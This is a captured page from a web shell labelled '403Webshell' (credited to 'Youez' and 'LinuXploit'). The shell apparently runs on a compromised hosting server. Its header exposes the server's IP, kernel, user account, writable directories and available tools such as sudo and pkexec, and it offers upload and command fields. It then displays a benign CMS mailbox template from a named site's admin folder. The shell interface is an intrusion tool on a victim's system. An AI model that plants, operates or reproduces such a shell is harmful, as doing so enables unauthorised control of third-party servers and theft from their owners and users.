403Webshell
Server IP : 208.122.213.31  /  Your IP : 216.73.216.45
Web Server : Apache
System : Linux msd6191.mjhst.com 4.18.0-553.137.1.el8_10.x86_64 #1 SMP Wed Jun 24 11:40:24 UTC 2026 x86_64
User : WHMCS_MIA_382 ( 1001)
PHP Version : 7.4.33
Disable Function : NONE
MySQL : ON  |  cURL : ON  |  WGET : ON  |  Perl : ON  |  Python : OFF  |  Sudo : ON  |  Pkexec : ON
Directory :  /home/httpd/html/classicscash.com/public_html/cms_admin/phptemplate/voderic/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Command :


[ Back ]     

Current File : /home/httpd/html/classicscash.com/public_html/cms_admin/phptemplate/voderic/mailbox.tpl
<?php /*

PLEASE BACK UP FILE BEFORE EDITING!!!

TEXT EDITING NOTE:
All text can be edited inside the admin panel to preserve  multi-language site functionality. All tags prefixed with "$templatefields" can be edited inside the CMS admin panel.

*/ ?>

<?php

$title = $templatefields["txtprivatemessagemailbox"];

// Header
LoadTemplate("header.tpl", ["pagename" => "messaging", "title" => $title]);
?>

<script>
function msgvalidate(v)
{
  subj = "<?php echo $templatefields["txtmailjssubj"] ?>"
  body = "<?php echo $templatefields["txtmailjsbody"] ?>"

  if (v.Subject.value == "")
  {
     alert(subj);
	 v.Subject.focus()
     return false
  }

  if (v.Body.value == "")
  {
     alert(body);
	 v.Body.focus()
     return false
  }


  pss = new Object();
  if (v.To.selectedIndex)
  {
    pss.To      = v.To[v.To.selectedIndex].value
  }
  else
  {
    pss.To      = v.To.value
  }
  pss.Subject = v.Subject.value
  <?php if (!$user["Managed"]) { ?>
  pss.Email   = v.Email.value;
  <?php } ?>
  pss.Body    = v.Body.value
  pss.Send    = "Send Message"
  pss.ajax    = "2";

  if (v.id)
  {
  	pss.id = v.id.value;
  }

  pss.GetEmail = (v.GetEmail.checked) ? 1 : 0;


  $.post("mailbox.php", pss,
     function(data) {

	     var dtt;

		 try
		 {
			 dtt = $.parseJSON(data);
     	 }
	 	 catch(e)
	 	 {
	 	 	alert("Error: " + data)
	 	 	return false;
	 	 }

       alert(dtt.message);
       if (dtt.success == "1")
       {
		   document.location = "mailbox.php";
       }

   });



  return false;
}
</script>


<script type="text/javascript">
function confirmdel(id)
 {
   g = confirm("<?php echo $templatefields["txtconfirmdelete"] ?>")

   if (g)
   {
       document.location="mailbox.php?delete=" + id;
   }
 }
</script>


<!--Title Bar-->
<div class="title_bar"><?php echo $templatefields["txtprivatemessagemailbox"] ?></div>


<!--Start Inbox/Sent Message Listing Table-->
<div class="mailbox">

	<form name="filter" id="filter" action="" method="GET">

		<div class="mailbox_options">
			<div class="table">
				<div class="row">
					<div class="cell">
						<select name="inbox" id="inbox">
						<option value="1" <?= ($inbox == 1) ? 'selected="selected"' : "" ?>>Inbox</option>
						<option value="0" <?= ($inbox == 0) ? 'selected="selected"' : "" ?>>Sent Messages</option>
						</select>
					</div>
					<div class="cell">
						<input type="submit" value="Go" />
					</div>

					<a href="mailbox.php?compose=1">
					<div class="compose_button">
					<?php echo $templatefields["txtcompose"] ?>
					</div>
					</a>
				</div>
			</div>
		</div>

	</form>


<!--End Inbox/Sent Message Listing Table-->


<!-- Load Sub-Templates Depending On Current Mailbox Page -->

<?php if ($compose)
	{ ?>
	<?php LoadTemplate("mailbox/new_message.tpl") ?>
<?php } elseif
($messageid)
	{ ?>
	<?php LoadTemplate("mailbox/read_message.tpl") ?>
<?php } else
	{ ?>
	<?php LoadTemplate("mailbox/view_mailbox.tpl") ?>
<?php } ?>

</div>
</div>

<!--Footer-->
<?php include "footer.tpl"; ?>

Youez - 2016 - github.com/yon3zu
LinuXploit